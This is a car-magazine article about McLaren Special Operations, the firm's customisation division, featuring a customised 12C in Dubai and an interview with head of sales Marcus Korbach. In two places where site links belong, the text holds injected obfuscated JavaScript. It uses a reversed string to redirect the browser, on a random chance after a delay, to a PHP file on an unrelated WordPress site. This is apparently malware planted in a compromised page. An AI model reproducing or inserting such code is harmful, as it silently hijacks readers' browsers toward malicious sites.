In a showroom filled with McLaren MP4-12Cs, there’s one that stands out. It’s clad in satin Volcano Orange paint and has carbon bits all over it. The badges are different to normal. The bumper is more aggressive. There are angry-looking vents on the front wings. It looks particularly badass.
This is the latest addition to the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/mclaren-showroom-dubai-uae-seeing-the-light/”>McLaren showroom in Dubai. Under the shadow of the world’s tallest building, we’re here to meet with two of the chaps from McLaren Special Operations that have flown in to meet us, and with some potential customers. Despite the name, MSO is not a secret military division at Woking. No, it’s the part of McLaren that deals with customisation. Really serious customisation.
The customised 12C in front of us is one example of MSO’s handiwork. Another is $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-x-1-a-one-off-from-woking/”>the X-1, a one-off built for a (rather wealthy) client over a two-and-a-half year period. These show off what, according to head of sales Marcus Korbach, are two of the three pillars that make up MSO.
“MSO was officially launched at Pebble Beach last August but our routes go way back. We were originally a programme called F1 Customer Care, which started off with the first specification of a McLaren F1 in the mid-90s. The F1 is fairly individualised. When you ordered your car you started off with a line drawing of the interior and you could specify the leather, what materials you wanted, what colour and so on from a pretty much unlimited range. That was the start of MSO. So while the department is new, we’ve been doing customisation since the ’90s.
“It all kicked off as a larger business idea during the SLR days. It was only available in two colours and Mercedes was very inflexible on bespoke content. To generate something like that into their global sales processes was impossible. But as the car was built at McLaren in a relatively small volume, physically it was no problem. So when 75 units of the Stirling Moss came out, we said if Mercedes can’t do it, we can send a separate invoice to the customer and do whatever he likes. All of a sudden we had requests for special colours, special trims, special carbon fibre treatments, stereo fitments, different wheels – all sorts of things. About a third of the production had some sort of bespoke content, and it was very profitable. And we realised that we had to have something prepared for the 12C right from the start.”
